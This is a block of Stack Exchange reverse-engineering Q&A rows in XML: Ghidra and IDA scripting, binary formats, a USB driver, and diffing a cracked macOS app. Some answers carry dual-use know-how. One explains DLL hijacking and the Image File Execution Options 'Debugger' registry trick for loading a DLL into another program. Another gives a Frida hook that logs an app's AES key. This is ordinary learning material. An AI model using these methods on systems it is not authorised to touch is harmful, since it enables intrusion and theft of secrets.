  <row Id="25335" PostTypeId="1" CreationDate="2020-06-18T06:44:10.163" Score="1" ViewCount="279" Body="&lt;p&gt;I'm trying to reverse engineer a REST API and there is an endpoint that delivers images. Some of them are jpegs but other ones look like they're base64 encoded, except they don't appear to be, as they contain invalid chars such as &amp;amp; and -. If I &amp;quot;repair&amp;quot; the invalid chars I can base64 decode it, but it's just random binary data I can't discern anything from (does base64 have a checksum built in or can I base64-decode any string that has valid base64 characters?).&lt;/p&gt;&#xA;&lt;p&gt;The data is around ~74 KB for an image I'm requesting in 500px width. Here is a bit of the content:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MAXe09nMdH7sLXdcCVfZhA1p3ll44Ye5vJABsCGRPlh4xej7NYAu9otU2xUns35mHcwVr1j12l9Mn2AsSP9RTZEjljoUGNzkCn5yshkPMGLBmyFgrI2PjRpme0UIFX9n/CF1K1FDbA8uhTqgqxLYV2DeA9LpG5hLSFPGlkKbGcsWlYa4YyqsbYtG9mg1knuzedm+kVWvPjUpN/WtypkypnaZKmUVnXh3jFgMxCOpWHLGX9QfptR331mte+pjS2n4Ot51EYvA2Bm0QxYoEZ8ZeV/W1UjkHw9L9PBH65NY/h1mL1s246/XHFsJT6eSnHTPFlILiT66cOVjJ+2T3LDidobQrDkamZi/+wwsugY5520lFrMUYvvtvyFEb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The API is sending a &lt;code&gt;Content-Transfer-Encoding: binary&lt;/code&gt; header with the response.&lt;/p&gt;&#xA;&lt;p&gt;Are there other common formats to encode binary data that I may not be aware of or does anyone have an idea what kind of data this could be?&lt;/p&gt;&#xA;" OwnerUserId="33579" LastEditorUserId="33579" LastEditDate="2020-06-18T09:50:02.490" LastActivityDate="2020-06-18T09:50:02.490" Title="Determining the encoding of an unknown image format" Tags="|binary|encodings|api|" AnswerCount="0" CommentCount="7" ClosedDate="2020-06-24T11:44:59.013" ContentLicense="CC BY-SA 4.0" />
  <row Id="25336" PostTypeId="2" ParentId="25322" CreationDate="2020-06-18T12:49:44.187" Score="4" Body="&lt;p&gt;So, the answer was provided in the OP's &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/1994&quot; rel=&quot;nofollow noreferrer&quot;&gt;ticket #1994&lt;/a&gt;, just transferring it here for the future seekers:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from ghidra.program.model.listing import CodeUnitFormat, CodeUnitFormatOptions&#xA;codeUnitFormat = CodeUnitFormat(CodeUnitFormatOptions(CodeUnitFormatOptions.ShowBlockName.ALWAYS,CodeUnitFormatOptions.ShowNamespace.ALWAYS,&amp;quot;&amp;quot;,True,True,True,True,True,True,True))&#xA;&#xA;instructionList = []&#xA;for instr in currentProgram.getListing().getInstructions(True):&#xA;    instructionList.append(codeUnitFormat.getRepresentationString(inst))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-06-18T12:49:44.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25338" PostTypeId="1" AcceptedAnswerId="25355" CreationDate="2020-06-18T15:43:17.467" Score="1" ViewCount="264" Body="&lt;p&gt;I have an idapython script which automatically defines bytes as code by a predefined configuration.&lt;br /&gt;&#xA;The problem is that when it defines the block of bytes as code (by idc.create_insn) it does not define references automatically.&lt;/p&gt;&#xA;&lt;p&gt;For example, this is the outcome of the function:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DwK6S.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DwK6S.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And this is the expected result:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vTcBz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vTcBz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If 0x80004F0 cannot be defined automatically as offset, how can I programatically (with idapython) set it to be so?&lt;/p&gt;&#xA;" OwnerUserId="16633" LastActivityDate="2020-06-20T00:47:31.717" Title="Defining operand as offset" Tags="|ida|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25339" PostTypeId="2" ParentId="25322" CreationDate="2020-06-18T17:37:05.883" Score="2" Body="&lt;p&gt;I came up with this after I read the post but couldn't find a way to make it neat and clean&lt;/p&gt;&#xA;&lt;p&gt;just recording the thought process as pawel created an answer that is nice&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; inst = currentProgram.listing.getCodeUnitAt(currentAddress)&#xA;&amp;gt;&amp;gt;&amp;gt; print (inst,inst.getReferencesFrom()[1])&#xA;(CALL qword ptr [0x1c0007050], -&amp;gt;NTOSKRNL.EXE::EtwRegister)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;edit a regex substitute hack is what I was thinking of before abandoning it like below&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; re.sub(&amp;quot;\[.*\]&amp;quot;,'['+inst.getReferencesFrom()[1].toString()+']',inst.toString())&#xA;    u'CALL qword ptr [-&amp;gt;NTOSKRNL.EXE::EtwRegister]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-06-18T17:57:50.827" LastActivityDate="2020-06-18T17:57:50.827" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25340" PostTypeId="2" ParentId="25334" CreationDate="2020-06-18T18:34:00.233" Score="1" Body="&lt;p&gt;I don't know if it makes it clickable, but you can use &lt;code&gt;add_cref&lt;/code&gt; to link a location to another code location.&lt;/p&gt;&#xA;&lt;p&gt;I typically use this if I have a call site like &lt;code&gt;call eax&lt;/code&gt; and I know that &lt;code&gt;eax&lt;/code&gt; always points to the same location (as in your case with vtables).&lt;/p&gt;&#xA;&lt;p&gt;That way, IDA treats the &lt;code&gt;call eax&lt;/code&gt; connected to the target location and you get all the benefits like argument propagation, xrefs on the target etc., maybe it makes it clickable but I don't use the decompiler.&lt;/p&gt;&#xA;&lt;p&gt;Use it like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;add_cref(addr_from, addr_to, fl_CN | XREF_USER)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;if you forget the XREF_USER the code ref is sometimes lost by the auto-analysis if I remember correctly.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2020-06-18T18:34:00.233" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25341" PostTypeId="2" ParentId="25325" CreationDate="2020-06-18T18:39:48.133" Score="2" Body="&lt;p&gt;That is not heavily obfuscated. The code is just using short names. I would use Search &amp;amp; Replace in your favorite text editor to give them more memorable names.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2020-06-18T18:39:48.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25342" PostTypeId="2" ParentId="25176" CreationDate="2020-06-18T21:19:29.887" Score="1" Body="&lt;p&gt;It's very likely you need to access the &lt;code&gt;.value&lt;/code&gt; of the object. Alternatively you could also &amp;quot;stringfy&amp;quot; this which is an easy was to understand all the properties of the Object. Also, you do not need to perform an overload inside of your overload, just call the method directly using &lt;code&gt;this.decryptAesCipherText()&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can do all of the above with the fix as follows;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var target_class = Java.use('com.reactlibrary.securekeystore.RNSecureKeyStoreModule');&#xA;&#xA;target_class.decryptAesCipherText.overload('javax.crypto.SecretKey','[B').implementation = function(key, array){&#xA;        console.log(&amp;quot;Inside decrypt aes&amp;quot;);&#xA;&#xA;        console.log(&amp;quot;key.value : &amp;quot;, key.value);&#xA;        console.log(&amp;quot;JSON.stringify(key) : &amp;quot;, JSON.stringify(key));&#xA;&#xA;        //Call getEncoded method on key to get byte array&#xA;        var ret = this.decryptAesCipherText(key, array);&#xA;&#xA;&#xA;        console.log(&amp;quot;JSON.stringify(ret) : &amp;quot;, JSON.stringify(ret));&#xA;&#xA;        return ret;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2020-06-18T21:19:29.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25343" PostTypeId="2" ParentId="25063" CreationDate="2020-06-18T21:23:24.100" Score="3" Body="&lt;p&gt;Dex files have a maximum amount of methods which they can contain, &lt;a href=&quot;https://developer.android.com/studio/build/multidex&quot; rel=&quot;nofollow noreferrer&quot;&gt;specifically 64k methods&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Jar files are just zip files containing class files.&lt;/p&gt;&#xA;&lt;p&gt;Knowing both of these, all you need to do is &lt;code&gt;dex2jar&lt;/code&gt; (or whatever you're using to create the jar file from the dex file) each dex file individually. Then unzip each file to the same directory, enter the directory and then zip them all up into a single, massive, jar (zip file).&lt;/p&gt;&#xA;&lt;p&gt;After this you can open this as a single jar with &lt;code&gt;jadx&lt;/code&gt; or whatever tool you'd like.&lt;/p&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2020-06-18T21:23:24.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25344" PostTypeId="1" CreationDate="2020-06-18T22:45:55.470" Score="1" ViewCount="423" Body="&lt;p&gt;I am currently doing byte extraction from PE files using Radare2. I know how to find the byte sequence for DOS Header and PE Header when there is no entry point and the start is defaulted to 0x0. But some of them have an entry point at &lt;code&gt;0x4#####&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I can retrieve the &lt;code&gt;vaddr&lt;/code&gt; (virtual address), &lt;code&gt;paddr&lt;/code&gt; (physical address), and &lt;code&gt;haddr&lt;/code&gt;  (e_entry\AddressOfEntryPoint in the binary header) of a certain file with an entry point.&lt;/p&gt;&#xA;&lt;p&gt;How do I use that to find the byte sequence for the DOS Header and PE Header?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0tT59.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0tT59.png&quot; alt=&quot;entry point address&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33590" LastEditorUserId="37138" LastEditDate="2021-07-27T23:40:20.110" LastActivityDate="2021-07-27T23:40:20.110" Title="How to find DOS Header and PE Header with an entry point in Radare2?" Tags="|disassembly|radare2|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25346" PostTypeId="2" ParentId="25344" CreationDate="2020-06-19T10:47:37.033" Score="1" Body="&lt;p&gt;You can load the file as raw, using &lt;code&gt;-n&lt;/code&gt; or &lt;code&gt;-nn&lt;/code&gt; option and then you will have those structures available at &lt;code&gt;0x0&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;r2 -n ./open-wsl.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iF1bN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iF1bN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It also contains some function to operate and print on those structures in a nicer form. Check the &lt;code&gt;pf?&lt;/code&gt; group for more info.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-06-19T10:47:37.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25347" PostTypeId="2" ParentId="8120" CreationDate="2020-06-19T11:34:49.343" Score="1" Body="&lt;p&gt;As Jason Geffner said, you can add your DLL to the import table of your .exe. Other tool than IIDKing that can add your dll to the import table of a PE file is called &lt;a href=&quot;http://www.cgsoftlabs.ro/dl.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stud_PE&lt;/a&gt;, which, unlike IIDKing, doesn't crash if your dll doesn't have any entries in the export address table(EAT):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WBLSO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WBLSO.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33592" LastActivityDate="2020-06-19T11:34:49.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25348" PostTypeId="2" ParentId="25338" CreationDate="2020-06-19T12:26:11.773" Score="1" Body="&lt;p&gt;Red highlight usually means that the address is not valid. You need to create a segment covering the target address range for it to be shown as a label.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-19T12:26:11.773" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25349" PostTypeId="2" ParentId="8120" CreationDate="2020-06-19T13:38:39.580" Score="2" Body="&lt;p&gt;Strange as it is, two other methods have not been mentioned. The &lt;code&gt;AppInit_DLLs&lt;/code&gt; approach you mentioned doesn't work anymore to the best of my knowledge. At least not as easily, especially when UEFI Secure Boot is enabled.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;DLL placement attack&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/previous-versions/windows/desktop/xperf/image-file-execution-options&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ImageFileExecutionOptions&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In both cases it depends on the target binary, so let's go through it.&lt;/p&gt;&#xA;&lt;h3&gt;DLL placement attack&lt;/h3&gt;&#xA;&lt;p&gt;I've run this in the past on Windows 7, but &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order&quot; rel=&quot;nofollow noreferrer&quot;&gt;the rules have changed since then&lt;/a&gt;. The way I made it work was as follows. I figured out one (vendor-provided) DLL loaded by the program without a full path (I picked the one with the least number of imports). I then wrote a stub DLL which would simply pass through all function calls to the real DLL (loaded by full path) and print out useful info for me. The return value would simply be returned.&lt;/p&gt;&#xA;&lt;p&gt;It's easy to figure out the function prototypes of exported functions, so this was the lazy option for me.&lt;/p&gt;&#xA;&lt;h2&gt;&lt;code&gt;ImageFileExecutionOptions&lt;/code&gt;&lt;/h2&gt;&#xA;&lt;p&gt;This method is used by Process Explorer to make itself a replacement for Task Manager. Here's how that looks in action:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Windows Registry Editor Version 5.00&#xA;&#xA;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe]&#xA;&amp;quot;Debugger&amp;quot;=&amp;quot;\&amp;quot;C:\\PATH\\TO\\PROCEXP.EXE\&amp;quot;&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now the value name probably gives it away already, this was previously used for a totally different purpose.&lt;/p&gt;&#xA;&lt;p&gt;Either way you can (ab)use it to achieve what you want. You write a little stub loader, acting as the &amp;quot;debugger&amp;quot;. There isn't much to it, you don't even have to implement any of the debugger APIs, although you could.&lt;/p&gt;&#xA;&lt;p&gt;All you'll want to do is to use &lt;code&gt;CreateProcess&lt;/code&gt; or similar to create a process with its main thread in suspended state upon &amp;quot;start&amp;quot;. You can pass on the command line arguments as you wish (although it is, admittedly) a bit involved with &lt;code&gt;CreateProcess&lt;/code&gt; and friends.&lt;/p&gt;&#xA;&lt;p&gt;The suspended main thread is where you can detour to your own code ... typically a simple piece of shell code that does nothing other than load &lt;em&gt;your&lt;/em&gt; DLL and then return to the original entry point. Et voila, you have loaded &lt;em&gt;your&lt;/em&gt; DLL into an application.&lt;/p&gt;&#xA;&lt;p&gt;The nice part about this second method is that it scales pretty well, since you basically only have to write this sort of &amp;quot;debugger&amp;quot; (loader) once. So it can be kept generic.&lt;/p&gt;&#xA;&lt;p&gt;This method amounts to doing (from the command line):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;loader.exe C:\path\to\hijacked\application.exe argument1 argument2 and more arguments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;... except that to the user this will be transparent. And I think inside your loader you can even use &lt;code&gt;argv[0]&lt;/code&gt; to get the path to the hijacked executable, IIRC.&lt;/p&gt;&#xA;&lt;p&gt;Now you may think that this is some weird security issue and wonder why it's gone unnoticed. It's not a security issue insofar as you have to be privileged to set the &lt;code&gt;ImageFileExecutionOptions&lt;/code&gt; in the first place.&lt;/p&gt;&#xA;&lt;p&gt;As a side-note: I &lt;em&gt;think&lt;/em&gt; it's even permissible to name the containing key (&lt;code&gt;taskmgr.exe&lt;/code&gt; in the above registry file) with the full path to the executable to be hijacked.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2020-06-19T13:38:39.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25350" PostTypeId="1" CreationDate="2020-06-19T14:01:21.310" Score="1" ViewCount="742" Body="&lt;p&gt;I would like to know which of the two has a better pseudo code generator in C, IDA or Ghidra, if possible, point out the strengths and low points of each one.&lt;/p&gt;&#xA;" OwnerUserId="33530" LastActivityDate="2020-06-19T14:01:21.310" Title="which has better pseudocode? IDA or Ghidra" Tags="|ida|disassembly|c|ghidra|" AnswerCount="0" CommentCount="1" ClosedDate="2020-06-20T07:25:06.967" ContentLicense="CC BY-SA 4.0" />
  <row Id="25351" PostTypeId="1" CreationDate="2020-06-19T15:08:18.683" Score="1" ViewCount="1443" Body="&lt;p&gt;I am working on an app to archive some important files in a compressed-encrypted format,&lt;/p&gt;&#xA;&lt;p&gt;What is the best for me to use (Virtualization) VMProtector or Themida ?&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="33597" LastActivityDate="2020-06-19T15:16:13.447" Title="Latest VMProtect vs Latest Themida" Tags="|c++|protection|" AnswerCount="1" CommentCount="0" ClosedDate="2020-06-19T22:09:08.520" ContentLicense="CC BY-SA 4.0" />
  <row Id="25352" PostTypeId="2" ParentId="25351" CreationDate="2020-06-19T15:16:13.447" Score="1" Body="&lt;p&gt;Both work with virtualization techniques, I recommend vm protect from experience and consider it slightly better in machine protection, buy the latest version, if you know how to try adding some of your own techniques, but I believe that only vm protect is enough to the protection of the executable, good luck.&lt;/p&gt;&#xA;" OwnerUserId="33530" LastActivityDate="2020-06-19T15:16:13.447" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25353" PostTypeId="1" CreationDate="2020-06-19T16:42:18.973" Score="2" ViewCount="1741" Body="&lt;p&gt;I want to write a script which imports an exe file, analyzes it, extracts some features and saves it using python.&lt;/p&gt;&#xA;&lt;p&gt;The part which I am not able to understand is, how to import a file from the script itself. I do not want to use the askFile function and i do not want to use the headleassAnalyzer.&lt;/p&gt;&#xA;&lt;p&gt;Are there any functions which let me do this from the script itself?&lt;/p&gt;&#xA;" OwnerUserId="33506" LastActivityDate="2020-11-18T10:07:05.687" Title="How to import files and analyze it in Ghidra using a python script?" Tags="|disassembly|ghidra|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25354" PostTypeId="1" CreationDate="2020-06-20T00:44:59.673" Score="1" ViewCount="101" Body="&lt;p&gt;I'm making a Linux module (my first one) for a closed-source, enclosed (no hardware access) device.&#xA;Using Wireshark I found what to send and where, so I tried the following command in user space Python and it works:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;handle._controlTransfer(0x21, 0x09, 0x0300, 3, data, 8, 0) #packet sent, device reacts&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Sadly I can't get it to work in the kernel module:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;usb_control_msg(dev, usb_sndctrlpipe(dev, 0), 0x09, 0x21, 0x0300, 3, data, 8, 0); //packet sent, device doesn't react&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;even by creating the urb myself:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;urb = usb_alloc_urb(0, GFP_KERNEL);&#xA;cr = kmalloc(sizeof(struct usb_ctrlrequest), GFP_KERNEL);&#xA;cr-&amp;gt;bRequestType = USB_TYPE_CLASS | USB_RECIP_INTERFACE;&#xA;cr-&amp;gt;bRequest = 0x09;&#xA;cr-&amp;gt;wValue = cpu_to_le16(0x0300);&#xA;cr-&amp;gt;wIndex = cpu_to_le16(3);&#xA;cr-&amp;gt;wLength = cpu_to_le16(8);&#xA;usb_fill_control_urb(urb, dev, usb_sndctrlpipe(dev, 0), (void *)cr, data, 8, urb_callback, context);&#xA;usb_submit_urb(urb, GFP_ATOMIC);&#xA;kfree(cr);&#xA;usb_free_urb(urb);&#xA;//packet sent, device doesn't react&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I say the device &amp;quot;reacts&amp;quot; I mean it flashes with another color so there is no ambiguity in the success of the command.&lt;/p&gt;&#xA;&lt;p&gt;I logged everything with Wireshark and the packets are identical (except for &lt;code&gt;urb_id&lt;/code&gt; and &lt;code&gt;urb_ts_*&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Would you have any advice for me? Something I forgot or how to debug more?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Full working Python code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;context = usb1.USBContext()&#xA;handle = context.openByVendorIDAndProductID(VENDOR_ID, PRODUCT_ID)&#xA;usb1.libusb1.libusb_set_auto_detach_kernel_driver(handle._USBDeviceHandle__handle, 0)&#xA;usb1.libusb1.libusb_set_auto_detach_kernel_driver(handle._USBDeviceHandle__handle, 3)&#xA;handle.claimInterface(0)&#xA;handle.claimInterface(3)&#xA;handle._controlTransfer(0x21, 0x09, 0x0300, 3, data, 8, 0)&#xA;handle.releaseInterface(3)&#xA;handle.releaseInterface(0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33604" LastEditorUserId="33604" LastEditDate="2020-06-20T21:17:33.187" LastActivityDate="2020-06-20T21:17:33.187" Title="Same USB packet (Python/user vs C/kernel) but different result" Tags="|linux|driver|usb|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25355" PostTypeId="2" ParentId="25338" CreationDate="2020-06-20T00:47:31.717" Score="1" Body="&lt;p&gt;I managed to solve the issue by using the following idapython code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;operand_value = get_operand_value(address, 1)&#xA;for segment in Segments():&#xA;    if operand_value &amp;gt;= segment and operand_value &amp;lt;= SegEnd(segment):&#xA;        op_hex(address, 1)&#xA;        op_offset(address, 1, idaapi.REF_OFF32, -1, 0, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16633" LastActivityDate="2020-06-20T00:47:31.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25356" PostTypeId="1" CreationDate="2020-06-20T09:12:36.053" Score="3" ViewCount="156" Body="&lt;p&gt;I am exploring MacOS Deckset app.&#xA;It has a trial version available on the official website.&#xA;But there's a cracked version available on torrent trackers.&lt;/p&gt;&#xA;&lt;p&gt;I want to know what was changed by the people who cracked that app: strings? symbols? few assembly instructions?&lt;/p&gt;&#xA;&lt;p&gt;Both (genuine and cracked) versions are available as .DMG installers.&#xA;I've extracted Deckset.app containers from both of them.&lt;/p&gt;&#xA;&lt;p&gt;Now, I'm able to explore &lt;code&gt;Deckset.app/Contents/MacOS/Deckset&lt;/code&gt; binary in &lt;code&gt;Hopper&lt;/code&gt; tool.&#xA;But as the cracked version is patched, I want to understand what actually was patched.&#xA;For this, I used &lt;code&gt;radiff2&lt;/code&gt; tool from &lt;code&gt;Radare2&lt;/code&gt; toolset:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;radiff2 genuine.app/Contents/MacOS/Deckset cracked.app/Contents/MacOS/Deckset  &amp;gt; bin_diff.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It gave me output like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x00000e98 901e =&amp;gt; 101c 0x00000e98&#xA;0x0000201c 109a =&amp;gt; 9097 0x0000201c&#xA;0x0027d486 770c =&amp;gt; 585e 0x0027d486&#xA;0x0027d48b 04 =&amp;gt; 03 0x0027d48b&#xA;0x0027d493 2c =&amp;gt; 24 0x0027d493&#xA;0x0027d49a 511a =&amp;gt; 5097 0x0027d49a&#xA;0x0027d49d 00 =&amp;gt; 01 0x0027d49d&#xA;0x0027d49f 05 =&amp;gt; 00 0x0027d49f&#xA;0x0027d4a3 fe00010000 =&amp;gt; 07fade0c02 0x0027d4a3&#xA;0x0027d4aa 53bcfade0c02 =&amp;gt; 507300020100 0x0027d4aa&#xA;0x0027d4b2 50ee =&amp;gt; 0000 0x0027d4b2&#xA;0x0027d4b5 020500 =&amp;gt; 0000b3 0x0027d4b5&#xA;0x0027d4b9 01 =&amp;gt; 00 0x0027d4b9&#xA;0x0027d4bb 00 =&amp;gt; 30 0x0027d4bb&#xA;0x0027d4be 012e =&amp;gt; 0003 0x0027d4be&#xA;0x0027d4c2 0060 =&amp;gt; 027e 0x0027d4c2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, when I open &amp;quot;genuine&amp;quot; app in Hopper, and search for either &lt;code&gt;0x00000e98&lt;/code&gt;, or &lt;code&gt;901e&lt;/code&gt;, or &lt;code&gt;101c&lt;/code&gt;, it gives nothing useful.&lt;/p&gt;&#xA;&lt;p&gt;E.g. when I do &lt;code&gt;Menu &amp;gt; Navigate &amp;gt; Go to Address or Symbol&lt;/code&gt; and enter &lt;code&gt;0x00000e98&lt;/code&gt;, it gives me such segment:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/D9Bb2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D9Bb2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;I don't see nor &lt;code&gt;901e&lt;/code&gt;, neither &lt;code&gt;101c&lt;/code&gt; in this segment.&lt;/p&gt;&#xA;&lt;p&gt;What am I doing wrong?&#xA;Do you know better tools for doing this (except IDA Pro, because it's expensive)?&lt;/p&gt;&#xA;" OwnerUserId="33607" LastActivityDate="2020-06-20T09:12:36.053" Title="How to see what has changed in a patched binary?" Tags="|patching|patch-reversing|osx|hopper|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25357" PostTypeId="1" CreationDate="2020-06-20T10:05:24.707" Score="2" ViewCount="833" Body="&lt;p&gt;I am trying to reverse engineer a aarch64 binary to find a password from it. I am able to modify certain functions in Ghidra but got stuck with the attached code snippet. The marked areas in the figure are giving me some trouble understanding the algorithm of the code.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There are too much undefined variables. I don't know their datatypes. But as param_1 is a character array, I assume that local_58 will also be a character array of size 40 (from memcpy function call). So, local_30 will also be a character array of size 40(from memcpy function call). Am I right here?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I assume the 2nd marked snippet is telling the value of local_30. If i am correct local_30 has a value of  00001100 00000111 10101010 10011000 11100011. Please correct me here if I am wrong.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;FUN_00400c3 is taking the local_58 and doing some operations. Along with local_58, the FUN function is also taking an integer and a unsigned long long int as 2nd and 3rd parameter. The 3rd parameter has a very large value. So, I am not sure whether ghidra is giving a correct value or a garbage one.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/avZ0j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/avZ0j.png&quot; alt=&quot;Ghidra decompile output&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33608" LastActivityDate="2020-06-20T10:05:24.707" Title="Reverse engineering a aarch64 elf in Ghidra" Tags="|ghidra|aarch64|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
